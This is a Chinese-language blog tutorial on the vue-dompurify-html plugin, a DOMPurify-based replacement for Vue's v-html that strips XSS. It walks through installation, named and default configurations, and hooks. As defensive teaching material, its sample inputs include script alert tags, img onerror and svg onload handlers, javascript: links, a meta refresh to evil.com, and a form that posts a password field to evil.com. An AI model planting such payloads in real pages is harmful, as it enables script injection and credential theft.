在 Vue 开发中,我们经常需要动态渲染 HTML 内容,但使用
v-html
指令时存在 XSS 攻击风险。vue-dompurify-html 为我们提供了一个安全、优雅的解决方案。
什么是 vue-dompurify-html?
vue-dompurify-html 是一个基于 DOMPurify 的 Vue 插件,它为 Vue 应用提供了v-html
指令的安全替代方案。通过 DOMPurify 的强大净化功能,它能在渲染 HTML 之前自动过滤掉恶意代码,确保应用安全。
核心特性
- 安全可靠:基于 DOMPurify,业界认可的 HTML 净化库
- 简单易用:零配置即可使用,API 友好
- ️高度可配置:支持自定义净化规则
- 保持样式:智能保留安全的 CSS 样式
- 轻量级:只是 DOMPurify 的简单包装器
安装配置
1. 安装依赖
# 使用npm
npm install vue-dompurify-html
# 使用yarn
yarn add vue-dompurify-html
# 使用pnpm
pnpm install vue-dompurify-html
2. 全局注册
在你的main.js
或main.ts
中:
import { createApp } from "vue";
import App from "./App.vue";
import VueDOMPurifyHTML from "vue-dompurify-html";
const app = createApp(App);
app.use(VueDOMPurifyHTML);
app.mount("#app");
基础使用
简单使用
替换原来的v-html
指令:
<template>
<div>
<!-- ❌ 不安全的方式 -->
<div v-html="dangerousHtml"></div>
<!-- ✅ 安全的方式 -->
<div v-dompurify-html="safeHtml"></div>
</div>
</template>
<script setup>
import { ref } from "vue";
const safeHtml = ref(`
<h2 style="color: #4CAF50;">欢迎使用vue-dompurify-html</h2>
<p>这段HTML已经被<strong>安全净化</strong>过了!</p>
<${"script"}>alert('这段脚本会被自动移除')</${"script"}>`);
</script>

净化效果对比
输入 HTML | v-html 结果 | v-dompurify-html 结果 |
---|---|---|
<script>alert('XSS')</script> | 🚨 执行脚本 | ✅ 移除脚本标签 |
<img src="x" onerror="alert('XSS')"> | 🚨 执行脚本 | ✅ 移除事件处理器 |
<p style="color: red;">文本</p> | ✅ 正常显示 | ✅ 正常显示 |
高级配置
命名配置
为不同场景创建专用配置:
// main.js
app.use(VueDOMPurifyHTML, {
namedConfigurations: {
// SVG配置
svg: {
USE_PROFILES: { svg: true },
},
// MathML配置
mathml: {
USE_PROFILES: { mathMl: true },
},
// 严格模式配置
strict: {
ALLOWED_TAGS: ["p", "b", "i", "em", "strong"],
ALLOWED_ATTR: ["class"],
},
// 富文本编辑器配置
editor: {
ALLOWED_TAGS: [
"h1",
"h2",
"h3",
"h4",
"h5",
"h6",
"p",
"br",
"strong",
"em",
"u",
"s",
"blockquote",
"ul",
"ol",
"li",
"a",
"img",
"table",
"tr",
"td",
"th",
],
ALLOWED_ATTR: ["href", "src", "alt", "title", "class", "style"],
},
},
});
在组件中使用命名配置:
<template>
<div>
<!-- 使用SVG配置 -->
<div v-dompurify-html:svg="svgContent"></div>
<hr class="my-8" />
<!-- 使用严格配置 -->
<div v-dompurify-html:strict="strictContent"></div>
<hr class="my-8" />
<!-- 使用富文本配置 -->
<div v-dompurify-html:editor="editorContent"></div>
</div>
</template>
<script setup>
import { ref } from "vue";
const svgContent = ref(`
<svg width="200" height="150" viewBox="0 0 200 150">
<rect x="10" y="10" height="50" width="100" fill="blue" stroke="black" stroke-width="2"></rect>
<circle cx="150" cy="50" r="30" fill="red" stroke="black" stroke-width="2"></circle>
<text x="20" y="100" font-family="Arial" font-size="14" fill="green">SVG 图形示例</text>
<line x1="20" y1="120" x2="180" y2="120" stroke="purple" stroke-width="3"></line>
</svg>
`);
const strictContent = ref(`
<h3>严格模式内容</h3>
<p class="highlight">只允许基本标签和安全的属性</p>
<p>这是一个段落,包含<strong>粗体文本</strong>和<em>斜体文本</em></p>
<p>支持换行<br>和基本格式</p>
<div>这是一个div容器</div>
<span>这是一个span元素</span>
<!-- 以下标签在严格模式下会被过滤掉,不会显示 -->
<iframe src="https://example.com"></iframe>
<object data="malicious.swf"></object>
<embed src="malicious.swf">
<form action="https://evil.com" method="post">
<input type="text" name="password" value="secret">
<button type="submit">提交</button>
</form>
<img src="x" onerror="alert('XSS攻击')">
<a href="javascript:alert('XSS')">危险链接</a>
<style>body { background: red; }</style>
<link rel="stylesheet" href="malicious.css">
<meta http-equiv="refresh" content="0;url=https://evil.com">
<video controls>
<source src="malicious.mp4" type="video/mp4">
</video>
<audio controls>
<source src="malicious.mp3" type="audio/mpeg">
</audio>
<details>
<summary>点击展开</summary>
<p>这个details标签可能被过滤</p>
</details>
<canvas id="myCanvas" width="200" height="100"></canvas>
<svg onload="alert('SVG XSS')">
<rect width="100" height="50" fill="red"/>
</svg>
<input type="file" accept=".exe">
<textarea placeholder="这个textarea可能被过滤"></textarea>
<select>
<option value="1">选项1</option>
<option value="2">选项2</option>
</select>
<p>注意:上面的危险标签在严格模式下都会被安全过滤,只显示安全的文本内容。</p>
`);
const editorContent = ref(`
<h1>富文本编辑器内容</h1>
<h2>二级标题</h2>
<h3>三级标题</h3>
<p>这是一个包含丰富格式的段落,支持<strong>粗体</strong>、<em>斜体</em>、<u>下划线</u>和<code>代码</code>。</p>
<p>还可以包含<a href="https://example.com" target="_blank">链接</a>和<span style="color: red; background-color: yellow;">带样式的文本</span>。</p>
<blockquote>
<p>这是一个引用块,用于突出显示重要内容。</p>
</blockquote>
<ul>
<li>无序列表项1</li>
<li>无序列表项2</li>
<li>无序列表项3</li>
</ul>
<ol>
<li>有序列表项1</li>
<li>有序列表项2</li>
<li>有序列表项3</li>
</ol>
<table border="1" style="border-collapse: collapse; width: 100%;">
<thead>
<tr>
<th>姓名</th>
<th>年龄</th>
<th>职业</th>
</tr>
</thead>
<tbody>
<tr>
<td>张三</td>
<td>25</td>
<td>工程师</td>
</tr>
<tr>
<td>李四</td>
<td>30</td>
<td>设计师</td>
</tr>
</tbody>
</table>
<hr>
<p>最后,我们还可以包含<sub>下标</sub>和<sup>上标</sup>文本。</p>
`);
</script>

默认配置
设置全局默认净化规则:
app.use(VueDOMPurifyHTML, {
default: {
// 允许的标签
ALLOWED_TAGS: [
"div",
"span",
"p",
"br",
"strong",
"em",
"u",
"h1",
"h2",
"h3",
"h4",
"h5",
"h6",
"ul",
"ol",
"li",
"a",
"img",
],
// 允许的属性
ALLOWED_ATTR: ["href", "src", "alt", "title", "class", "style"],
// 保持相对URL
KEEP_CONTENT: false,
// 移除空属性
SANITIZE_NAMED_PROPS: true,
},
});
钩子函数
通过钩子函数实现自定义处理逻辑:
app.use(VueDOMPurifyHTML, {
hooks: {
// 在净化元素时执行
uponSanitizeElement: (currentNode, data, config) => {
// 为所有链接添加target="_blank"
if (currentNode.tagName === "A") {
currentNode.setAttribute("target", "_blank");
currentNode.setAttribute("rel", "noopener noreferrer");
}
},
// 在净化属性时执行
uponSanitizeAttribute: (currentNode, hookEvent, config) => {
// 确保所有图片都有alt属性
if (currentNode.tagName === "IMG" && !currentNode.hasAttribute("alt")) {
currentNode.setAttribute("alt", "图片描述");
}
},
// 在净化完成后执行
afterSanitizeElements: (currentNode, data, config) => {
// 为代码块添加语法高亮class
if (currentNode.tagName === "CODE") {
currentNode.classList.add("syntax-highlight");
}
},
},
});
局部使用
如果不想全局注册,也可以在组件中局部使用:
<template>
<div v-dompurify-html="rawHtml"></div>
</template>
<script setup>
import { buildVueDompurifyHTMLDirective } from "vue-dompurify-html";
// 创建局部指令
const vDompurifyHtml = buildVueDompurifyHTMLDirective({
ALLOWED_TAGS: ["p", "strong", "em"],
ALLOWED_ATTR: ["class"],
});
const rawHtml = "<p><strong>局部使用示例</strong></p>";
</script>
注意事项
1. 版本兼容性
2. 安全提醒
// ❌ 错误:过度信任配置
app.use(VueDOMPurifyHTML, {
default: {
ALLOWED_TAGS: ["script"], // 危险!
SANITIZE: false, // 危险!
},
});
// ✅ 正确:保持默认安全配置
app.use(VueDOMPurifyHTML, {
default: {
// 只添加必要的标签和属性
ALLOWED_TAGS: ["p", "strong", "em"],
ALLOWED_ATTR: ["class"],
},
});
3. 性能考虑
- 避免在循环中使用大量 HTML 净化
- 对于静态内容,考虑服务端预处理
- 使用 Vue 的计算属性缓存净化结果
总结
vue-dompurify-html 为 Vue 应用提供了一个完美的 XSS 防护解决方案:
- ✅ 安全第一:基于业界认可的 DOMPurify
- ✅ 简单易用:替换 v-html 即可使用
- ✅ 高度可配置:满足各种业务场景
- ✅ 性能优秀:轻量级,运行高效
- ✅ 社区活跃:持续更新维护
在现代 Web 开发中,安全性不容忽视。使用 vue-dompurify-html,让你的 Vue 应用在享受动态 HTML 便利的同时,也能保持最高的安全标准。
原文链接:https://code.ifrontend.net/archives/1306,转载请注明出处。
评论0